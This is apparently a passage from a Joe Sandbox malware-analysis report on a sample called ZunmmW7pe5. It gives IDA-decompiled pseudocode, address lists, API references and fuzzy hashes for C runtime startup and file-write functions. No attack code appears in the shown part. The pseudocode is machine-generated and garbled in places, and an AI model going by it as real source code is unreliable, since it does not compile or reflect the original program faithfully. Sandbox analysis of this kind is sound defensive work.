				 *0xe3764c40 = 2;
				goto 0xe373acfa;
				sil = 1;
				_v24 = sil;
				E00007FF77FF7E373B188(E00007FF77FF7E373AFD4(_t11, 0xe374c498));
				if ( *_t62 == 0) goto 0xe373ad31;
				if (E00007FF77FF7E373AF38(_t62) == 0) goto 0xe373ad31;
				0xe373b420();
				r8d = 0;
				E00007FF77FF7E373B190( *((long long*)( *_t62))());
				if ( *_t62 == 0) goto 0xe373ad53;
				if (E00007FF77FF7E373AF38(_t62) == 0) goto 0xe373ad53;
				_t74 =  *_t62;
				E00007FF77FF7E373F6C4(E00007FF77FF7E373F6CC(E00007FF77FF7E373F60C(_t62,  *_t62)));
				_t25 = E00007FF77FF7E373F2B8();
				_t86 = _t62;
				_t77 =  *_t62;
				E00007FF77FF7E3713970(); // executed
				_t36 = _t25;
				if (E00007FF77FF7E373B2EC(_t62) != 0) goto 0xe373ad87;
				E00007FF77FF7E373F650(_t36, _t62,  *_t62);
				if (sil != 0) goto 0xe373ad91;
				E00007FF77FF7E373F5F0(_t62,  *_t62,  *_t62, _t62);
				E00007FF77FF7E373AFF8(1, 0);
				_t30 = _t36;
				if (E00007FF77FF7E373B2EC(_t62) != 0) goto 0xe373adb1;
				E00007FF77FF7E373F600(_t62, _t74, _t86);
				asm("int3");
				if (_v24 != 0) goto 0xe373adbd;
				E00007FF77FF7E373F5E0(_t62, _t74, _t77, _t86);
				return _t30;
			}

0x7ff7e373ac58
0x7ff7e373ac58
0x7ff7e373ac58
0x7ff7e373ac58
0x7ff7e373ac5d
0x7ff7e373ac6c
0x7ff7e373ac73
0x7ff7e373ac7a
0x7ff7e373ac7f
0x7ff7e373ac80
0x7ff7e373ac83
0x7ff7e373ac88
0x7ff7e373ac8f
0x7ff7e373ac98
0x7ff7e373ac9f
0x7ff7e373aca6
0x7ff7e373aca8
0x7ff7e373acc0
0x7ff7e373acc7
0x7ff7e373acce
0x7ff7e373ace1
0x7ff7e373ace6
0x7ff7e373acf0
0x7ff7e373acf2
0x7ff7e373acf5
0x7ff7e373ad01
0x7ff7e373ad0d
0x7ff7e373ad19
0x7ff7e373ad21
0x7ff7e373ad26
0x7ff7e373ad31
0x7ff7e373ad3d
0x7ff7e373ad49
0x7ff7e373ad4b
0x7ff7e373ad5b
0x7ff7e373ad63
0x7ff7e373ad68
0x7ff7e373ad6b
0x7ff7e373ad70
0x7ff7e373ad75
0x7ff7e373ad7e
0x7ff7e373ad82
0x7ff7e373ad8a
0x7ff7e373ad8c
0x7ff7e373ad95
0x7ff7e373ad9a
0x7ff7e373ada7
0x7ff7e373adab
0x7ff7e373adb0
0x7ff7e373adb6
0x7ff7e373adb8
0x7ff7e373adce

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF7E373AC6C

Part of subcall function 00007FF7E373AE20: __vcrt_initialize.LIBVCRUNTIME ref: 00007FF7E373AE42

__scrt_fastfail.LIBCMT ref: 00007FF7E373AC7A

Part of subcall function 00007FF7E373B1A0: IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7E373B1BC
Part of subcall function 00007FF7E373B1A0: RtlCaptureContext.KERNEL32 ref: 00007FF7E373B1E5
Part of subcall function 00007FF7E373B1A0: RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7E373B1FF
Part of subcall function 00007FF7E373B1A0: RtlVirtualUnwind.KERNEL32 ref: 00007FF7E373B240
Part of subcall function 00007FF7E373B1A0: IsDebuggerPresent.KERNEL32 ref: 00007FF7E373B294
Part of subcall function 00007FF7E373B1A0: SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7E373B2B5
Part of subcall function 00007FF7E373B1A0: UnhandledExceptionFilter.KERNEL32 ref: 00007FF7E373B2C0

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7E373AC88
__scrt_fastfail.LIBCMT ref: 00007FF7E373AC9F
__scrt_release_startup_lock.LIBCMT ref: 00007FF7E373ACFC
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF7E373AD12
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF7E373AD42
__scrt_is_managed_app.LIBCMT ref: 00007FF7E373AD77
__scrt_uninitialize_crt.LIBCMT ref: 00007FF7E373AD95

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled__scrt_fastfail__scrt_is_nonwritable_in_current_image$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
String ID:
API String ID: 18626834-0
Opcode ID: d80be3cbd2b8455b669035015f43016d0624ba0074b8d62cb3527bfbc0d463fa
Instruction ID: 7ebc75783a95aa141301a1bba894cf1332fe059914d6c8972b436856f1854be2
Opcode Fuzzy Hash: d80be3cbd2b8455b669035015f43016d0624ba0074b8d62cb3527bfbc0d463fa
Instruction Fuzzy Hash: 59312C21A0814381FBD4BB2595923B9BB91AF5D784FC44037D98E272D7DE3DA4648272

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3746100 Relevance: 7.7, APIs: 5, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E00007FF77FF7E3746100(signed long long __ecx, void* __edx, void* __esi, void* __ebp, void* __esp, intOrPtr* __rax, long long __rbx, signed short* __rdx, void* __r9, long long _a32) {
				char _v64;
				signed long long _v72;
				intOrPtr _v84;
				unsigned int _v88;
				intOrPtr _v96;
				long long _v100;
				signed int _v104;
				signed int _v120;
				void* __rsi;
				void* __rbp;
				void* _t75;
				long _t94;
				unsigned int _t95;
				intOrPtr _t103;
				signed int _t124;
				intOrPtr _t159;
				unsigned long long _t165;
				signed int* _t167;
				intOrPtr _t170;
				unsigned int _t183;
				signed short* _t184;
				void* _t186;
				signed long long _t195;
				void* _t196;
				signed long long _t198;
				signed long long _t199;
				signed long long _t201;
				void* _t202;
				signed short* _t203;

				_t193 = __r9;
				_t180 = __rdx;
				_t168 = __rbx;
				_a32 = __rbx;
				r15d = r8d;
				_t195 = __ecx;
				_t184 = __rdx;
				if (r8d != 0) goto 0xe374612e;
				goto 0xe37463c9;
				if (__rdx != 0) goto 0xe3746152;
				E00007FF77FF7E3740700(__rax);
				 *__rax = 0;
				_t75 = E00007FF77FF7E3740720(__rax);
				 *__rax = 0x16;
				E00007FF77FF7E3740600(_t75);
				goto 0xe37463c9;
				r14d = r14d & 0x0000003f;
				_t198 = _t195 >> 6;
				_t201 = _t195 << 6;
				_v72 = _t198;
				_t170 =  *((intOrPtr*)(0xe37651c0 + _t198 * 8));
				_t103 =  *((intOrPtr*)(_t170 + _t201 + 0x39));
				if (__rbx - 1 - 1 > 0) goto 0xe3746188;
				if (( !r15d & 0x00000001) == 0) goto 0xe3746133;
				if (( *(_t170 + _t201 + 0x38) & 0x00000020) == 0) goto 0xe374619e;
				_t14 = _t180 + 2; // 0x2
				r8d = _t14;
				E00007FF77FF7E3745854( !r15d, _t170, __rdx);
				_v88 = _t183;
				if (E00007FF77FF7E37486B4(r12d, 0, 0xe37651c0) == 0) goto 0xe37462b3;
				_t159 =  *((intOrPtr*)(0xe37651c0 + _t198 * 8));
				if (( *(0xe37651c0 + _t201 + 0x38) & 0x00000080) == 0) goto 0xe37462b3;
				E00007FF77FF7E3741F40(_t159, __rbx, _t170, _t180, _t184, __r9);
				if ( *((intOrPtr*)( *((intOrPtr*)(_t159 + 0x90)) + 0x138)) != _t183) goto 0xe37461f4;
				if ( *((intOrPtr*)( *((intOrPtr*)(0xe37651c0 + _t198 * 8)) + _t201 + 0x39)) == dil) goto 0xe37462b3;
				if (GetConsoleMode(??, ??) == 0) goto 0xe37462b3;
				if (_t103 == 0) goto 0xe3746295;
				if (_t103 - 1 - 1 > 0) goto 0xe3746350;
				_v104 = _v104 & 0;
				_t196 = _t184 + _t202;
				_t203 = _t184;
				_v100 = 0;
				if (_t184 - _t196 >= 0) goto 0xe3746346;
				r13d =  *_t203 & 0x0000ffff;
				if (E00007FF77FF7E3749134(r13w & 0xffffffff) != r13w) goto 0xe3746283;
				_v100 = 2;
				if (r13w != 0xa) goto 0xe3746278;
				r13d = 0xd;
				if (E00007FF77FF7E3749134(r13d) != r13w) goto 0xe3746283;
				_v100 = 2;
				if ( &(_t203[1]) - _t196 >= 0) goto 0xe374628c;
				goto 0xe374623d;
				_v104 = GetLastError();
				_t199 = _v72;
				goto 0xe3746346;
				r9d = r15d;
				E00007FF77FF7E3745A74(r12d, 1, __esi, __esp, _t168,  &_v104,  &_v64, _t184, _t193);
				asm("movsd xmm0, [eax]");
				_t124 =  *0x7FF7E37651C8;
				goto 0xe374634b;
				if (( *( *((intOrPtr*)(0xe37651c0 + _t199 * 8)) + _t201 + 0x38) & 0x00000080) == 0) goto 0xe3746313;
				if (3 == 0) goto 0xe37462ff;
				if (3 == 0) goto 0xe37462eb;
				if (2 != 1) goto 0xe3746350;
				r9d = r15d;
				E00007FF77FF7E3745D84(3, r12d, 0xe37651c0, _t168,  &_v104, _t186, _t184);
				goto 0xe37462a7;
				r9d = r15d;
				E00007FF77FF7E3745EA0(r12d, _t124, 0xe37651c0, _t168,  &_v104, _t186, _t184);
				goto 0xe37462a7;
				r9d = r15d;
				E00007FF77FF7E3745C7C(r12d, _t124, 0xe37651c0, _t168,  &_v104, _t186, _t184); // executed
				goto 0xe37462a7;
				_v104 = _v104 & _t124;
				_v120 = _v120 & 0xe37651c0;
				r8d = r15d;
				_v100 = 0xe37651c0;
				if (WriteFile(??, ??, ??, ??, ??) != 0) goto 0xe3746343;
				_t94 = GetLastError();
				_v104 = _t94;
				asm("movsd xmm0, [ebp-0x30]");
				asm("movsd [ebp-0x20], xmm0");
				_t165 = _v88 >> 0x20;
				if (_t94 != 0) goto 0xe37463c4;
				_t95 = _v88;
				if (_t95 == 0) goto 0xe3746390;
				if (_t95 != 5) goto 0xe3746383;
				E00007FF77FF7E3740720(_t165);
				 *_t165 = 9;
				E00007FF77FF7E3740700(_t165);
				 *_t165 = 5;
				goto 0xe374614a;
				E00007FF77FF7E37406B0(_v88, _t165, _t168);
				goto 0xe374614a;
				_t167 =  *((intOrPtr*)(0xe37651c0 + _t199 * 8));
				if (( *(0xe37651c0 + _t201 + 0x38) & 0x00000040) == 0) goto 0xe37463ac;
				if ( *_t184 == 0x1a) goto 0xe3746127;
				E00007FF77FF7E3740720(_t167);
				 *0xe37651c0 = 0x1c;
				E00007FF77FF7E3740700(_t167);
				 *_t167 =  *_t167 & 0x00000000;
				goto 0xe374614a;
				return _v84 - _v96;
			}

0x7ff7e3746100
0x7ff7e3746100
0x7ff7e3746100
0x7ff7e3746100
0x7ff7e3746119
0x7ff7e374611c
0x7ff7e374611f
0x7ff7e3746125
0x7ff7e3746129
0x7ff7e3746131
0x7ff7e3746133
0x7ff7e3746138
0x7ff7e374613a
0x7ff7e374613f
0x7ff7e3746145
0x7ff7e374614d
0x7ff7e374615c
0x7ff7e3746163
0x7ff7e3746167
0x7ff7e374616b
0x7ff7e374616f
0x7ff7e3746173
0x7ff7e374617d
0x7ff7e3746186
0x7ff7e374618e
0x7ff7e3746195
0x7ff7e3746195
0x7ff7e3746199
0x7ff7e37461a1
0x7ff7e37461ac
0x7ff7e37461b9
0x7ff7e37461c3
0x7ff7e37461c9
0x7ff7e37461dc
0x7ff7e37461ee
0x7ff7e3746210
0x7ff7e3746218
0x7ff7e374621f
0x7ff7e3746225
0x7ff7e3746228
0x7ff7e374622e
0x7ff7e3746231
0x7ff7e3746237
0x7ff7e374623d
0x7ff7e374624e
0x7ff7e3746253
0x7ff7e374625b
0x7ff7e374625d
0x7ff7e374626f
0x7ff7e3746273
0x7ff7e374627f
0x7ff7e3746281
0x7ff7e3746289
0x7ff7e374628c
0x7ff7e3746290
0x7ff7e3746295
0x7ff7e37462a2
0x7ff7e37462a7
0x7ff7e37462ab
0x7ff7e37462ae
0x7ff7e37462c4
0x7ff7e37462cb
0x7ff7e37462d0
0x7ff7e37462d5
0x7ff7e37462d7
0x7ff7e37462e4
0x7ff7e37462e9
0x7ff7e37462eb
0x7ff7e37462f8
0x7ff7e37462fd
0x7ff7e37462ff
0x7ff7e374630c
0x7ff7e3746311
0x7ff7e374631c
0x7ff7e3746321
0x7ff7e3746326
0x7ff7e374632c
0x7ff7e3746338
0x7ff7e374633a
0x7ff7e3746340
0x7ff7e3746346
0x7ff7e374634b
0x7ff7e3746354
0x7ff7e374635a
0x7ff7e374635c
0x7ff7e3746361
0x7ff7e3746366
0x7ff7e3746368
0x7ff7e374636d
0x7ff7e3746373
0x7ff7e3746378
0x7ff7e374637e
0x7ff7e3746386
0x7ff7e374638b
0x7ff7e3746397
0x7ff7e37463a1
0x7ff7e37463a6
0x7ff7e37463ac
0x7ff7e37463b1
0x7ff7e37463b7
0x7ff7e37463bc
0x7ff7e37463bf
0x7ff7e37463e0

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E3746145

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 688858796e1f19c20de5d512ee446de15b0a558e71dd99799ef5d5e12923a878
Instruction ID: eca701901c68fdaeba46ff18e74b1d7a604c1808128ba7c4f93156570cfbb8f8
Opcode Fuzzy Hash: 688858796e1f19c20de5d512ee446de15b0a558e71dd99799ef5d5e12923a878
Instruction Fuzzy Hash: B581BE72E1865295F790AB6588C07BDBEB0BB4CB58F824137CD4E23695DF3CB4258722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37411A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7E374121A
GetFileType.KERNELBASE ref: 00007FF7E3741230

Strings

@, xrefs: 00007FF7E374125B

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 8d6f61cddd9186f6205123a5c561422a9606eafe55b5f0165a0b71b56fd4e2d7
Instruction ID: 3fa09dc43fb931c10002bf02f4f9397ce06a074dfe0a578dae1c999eb74fc91a
Opcode Fuzzy Hash: 8d6f61cddd9186f6205123a5c561422a9606eafe55b5f0165a0b71b56fd4e2d7
Instruction Fuzzy Hash: 61218832B0864281FBE4AB2494D0239BE51EB4D774FA50337D66EA77D4CE38E491D362

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3745C7C Relevance: 3.1, APIs: 2, Instructions: 74
fileCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E00007FF77FF7E3745C7C(void* __edx, void* __edi, void* __rax, signed long long __rbx, signed int* __rcx, long long __rbp, intOrPtr* __r8, signed long long _a8, long long _a24, char _a40, char _a5159, signed long long _a5160, void* _a5176) {
				char _t30;
				int _t31;
				intOrPtr _t32;
				long _t33;
				void* _t34;
				void* _t37;
				signed long long _t48;
				void* _t64;
				char* _t66;
				char* _t67;
				void* _t72;
				void* _t74;
				void* _t79;
				void* _t82;

				_a8 = __rbx;
				_a24 = __rbp;
				E00007FF77FF7E374ADF0(_t34, __rax, __rcx, _t64, __r8, _t79, _t82);
				_t48 =  *0xe3764018; // 0xf7df8d81ad38
				_a5160 = _t48 ^ _t74 - __rax;
				r10d = r10d & 0x0000003f;
				_t72 = __rbp + __r8;
				 *__rcx =  *__rcx & 0x00000000;
				__rcx[1] = __rcx[1] & 0x00000000;
				__rcx[2] = __rcx[2] & 0x00000000;
				if (__r8 - _t72 >= 0) goto 0xe3745d56;
				_t66 =  &_a40;
				if (__r8 - _t72 >= 0) goto 0xe3745d15;
				_t30 =  *((intOrPtr*)(__r8));
				if (_t30 != 0xa) goto 0xe3745d03;
				__rcx[2] = __rcx[2] + 1;
				 *_t66 = 0xd;
				_t67 = _t66 + 1;
				 *_t67 = _t30;
				if (_t67 + 1 -  &_a5159 < 0) goto 0xe3745cec;
				_a8 = _a8 & 0x00000000;
				_t37 = __edi - _t30;
				r8d = _t37;
				_t31 = WriteFile(??, ??, ??, ??, ??); // executed
				if (_t31 == 0) goto 0xe3745d4e;
				_t32 = _a24;
				__rcx[1] = __rcx[1] + _t32;
				if (_t32 - _t37 < 0) goto 0xe3745d56;
				if (__r8 + 1 - _t72 < 0) goto 0xe3745ce7;
				goto 0xe3745d56;
				_t33 = GetLastError();
				 *__rcx = _t33;
				E00007FF77FF7E374AB20();
				return _t33;
			}

0x7ff7e3745c7c
0x7ff7e3745c81
0x7ff7e3745c8f
0x7ff7e3745c97
0x7ff7e3745ca1
0x7ff7e3745cc0
0x7ff7e3745cc4
0x7ff7e3745cc7
0x7ff7e3745ccd
0x7ff7e3745cd5
0x7ff7e3745ce5
0x7ff7e3745ce7
0x7ff7e3745cef
0x7ff7e3745cf1
0x7ff7e3745cf8
0x7ff7e3745cfa
0x7ff7e3745cfd
0x7ff7e3745d00
0x7ff7e3745d03
0x7ff7e3745d13
0x7ff7e3745d15
0x7ff7e3745d20
0x7ff7e3745d27
0x7ff7e3745d32
0x7ff7e3745d3a
0x7ff7e3745d3c
0x7ff7e3745d40
0x7ff7e3745d45
0x7ff7e3745d4a
0x7ff7e3745d4c
0x7ff7e3745d4e
0x7ff7e3745d54
0x7ff7e3745d64
0x7ff7e3745d80

APIs

WriteFile.KERNELBASE ref: 00007FF7E3745D32
GetLastError.KERNEL32 ref: 00007FF7E3745D4E

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 1bc95ea06f22296d248efdd63165d00b7bf35dcafb6cc62c4762e4c040ef1f55
Instruction ID: 9cfb1feba389d9bf86e854dabb40dcc08652aa45111d7e04e8a1a6a31f590419
Opcode Fuzzy Hash: 1bc95ea06f22296d248efdd63165d00b7bf35dcafb6cc62c4762e4c040ef1f55
Instruction Fuzzy Hash: 9531D43262868686F790AF14E4843A9BBB1FB4C794F848032EA4D67759DF3CE465CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3746014 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00007FF77FF7E3746014(signed long long __ebx, signed int __ecx, void* __edx, void* __edi, signed int __esi, signed int* __rax, long long __rbx, void* __rdx, long long __rsi, signed int _a8, long long _a16, long long _a24) {
				void* _t23;
				signed long long _t26;
				void* _t39;
				void* _t40;
				void* _t43;
				signed int* _t48;
				void* _t61;

				_t26 = __ebx;
				_a16 = __rbx;
				_a24 = __rsi;
				_a8 = __ecx;
				r15d = r8d;
				if (__ebx != 0xfffffffe) goto 0xe3746055;
				E00007FF77FF7E3740700(__rax);
				 *__rax =  *__rax & 0x00000000;
				E00007FF77FF7E3740720(__rax);
				 *__rax = 9;
				goto 0xe37460e5;
				if (__ecx < 0) goto 0xe37460cd;
				_t43 = _t26 -  *0xe37655c0; // 0x40
				if (_t43 >= 0) goto 0xe37460cd;
				if (_t43 == 0) goto 0xe37460cd;
				E00007FF77FF7E3744720();
				_t48 =  *((intOrPtr*)(0xe37651c0 + (__ecx >> 6) * 8));
				if (( *(_t48 + (__ecx << 6) + 0x38) & 0x00000001) != 0) goto 0xe37460b3;
				E00007FF77FF7E3740720(_t48);
				 *_t48 = 9;
				E00007FF77FF7E3740700(_t48);
				 *_t48 =  *_t48 & 0x00000000;
				goto 0xe37460c2;
				r8d = r15d;
				E00007FF77FF7E3746100(__ebx, __edx, __esi & 0x0000003f, _t39, _t40, _t48, __ecx, __rdx, _t61); // executed
				E00007FF77FF7E3744744();
				goto 0xe37460e8;
				E00007FF77FF7E3740700(_t48);
				 *_t48 =  *_t48 & 0x00000000;
				_t23 = E00007FF77FF7E3740720(_t48);
				 *_t48 = 9;
				return E00007FF77FF7E3740600(_t23) | 0xffffffff;
			}

0x7ff7e3746014
0x7ff7e3746014
0x7ff7e3746019
0x7ff7e374601e
0x7ff7e374602f
0x7ff7e374603b
0x7ff7e374603d
0x7ff7e3746042
0x7ff7e3746045
0x7ff7e374604a
0x7ff7e3746050
0x7ff7e3746057
0x7ff7e3746059
0x7ff7e374605f
0x7ff7e3746086
0x7ff7e374608a
0x7ff7e3746092
0x7ff7e374609c
0x7ff7e374609e
0x7ff7e37460a3
0x7ff7e37460a9
0x7ff7e37460ae
0x7ff7e37460b1
0x7ff7e37460b3
0x7ff7e37460bb
0x7ff7e37460c4
0x7ff7e37460cb
0x7ff7e37460cd
0x7ff7e37460d2
0x7ff7e37460d5
0x7ff7e37460da
0x7ff7e37460ff

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07a3167852da351ab00c0d8bddc76ae5a3933b4f165de7638078f45917231289
Instruction ID: 42828fde74bd84db3f1d96fbcf10f75539b8af91e25888a150d2ea368dd94b76
Opcode Fuzzy Hash: 07a3167852da351ab00c0d8bddc76ae5a3933b4f165de7638078f45917231289
Instruction Fuzzy Hash: E321F332A1C24641F6867F21A880739BD20BB487A0F86453AE919173D2CF7CF8608733

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E373E7C0 Relevance: 1.5, APIs: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF7E373E7C0(long long __rcx, long long __rdx, long long __r8, long long __r9, char _a8, char _a16, char _a24, char _a32, intOrPtr* _a40) {
				long long _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				char _v48;
				char _v56;
				char _v64;
				char _v72;
				void* _t23;
				void* _t26;
				intOrPtr* _t29;
				void* _t35;

				_t29 = _a40;
				_v72 = _t29;
				_a16 = __r9;
				_a32 = __r8;
				_a8 = __rdx;
				_a24 = __rcx;
				if (__rdx != 0) goto 0xe373e7fb;
				_t23 = E00007FF77FF7E3740720(_t29);
				 *_t29 = 0x16;
				E00007FF77FF7E3740600(_t23);
				goto 0xe373e845;
				if (__r8 == 0) goto 0xe373e7e6;
				_v64 = __rdx;
				_v48 =  &_a8;
				_v56 = __rdx;
				_v40 =  &_a16;
				_v32 =  &_a24;
				_v24 =  &_a32;
				_v16 =  &_v72;
				_t26 = E00007FF77FF7E373C774(_t35,  &_v56,  &_v48,  &_v64); // executed
				return _t26;
			}

0x7ff7e373e7c9
0x7ff7e373e7cd
0x7ff7e373e7d1
0x7ff7e373e7d5
0x7ff7e373e7d9
0x7ff7e373e7dd
0x7ff7e373e7e4
0x7ff7e373e7e6
0x7ff7e373e7eb
0x7ff7e373e7f1
0x7ff7e373e7f9
0x7ff7e373e7fe
0x7ff7e373e804
0x7ff7e373e808
0x7ff7e373e814
0x7ff7e373e818
0x7ff7e373e824
0x7ff7e373e830
0x7ff7e373e83c
0x7ff7e373e840
0x7ff7e373e84a

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E373E7F1

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ba955a342acf3fbb83e766d30441113dbc631177d92cd020e88b32c2bf6c6161
Instruction ID: 3c47bdf42658c57d91b2e8bb9668881756840354b923f99fa1be8f9d2038e321
Opcode Fuzzy Hash: ba955a342acf3fbb83e766d30441113dbc631177d92cd020e88b32c2bf6c6161
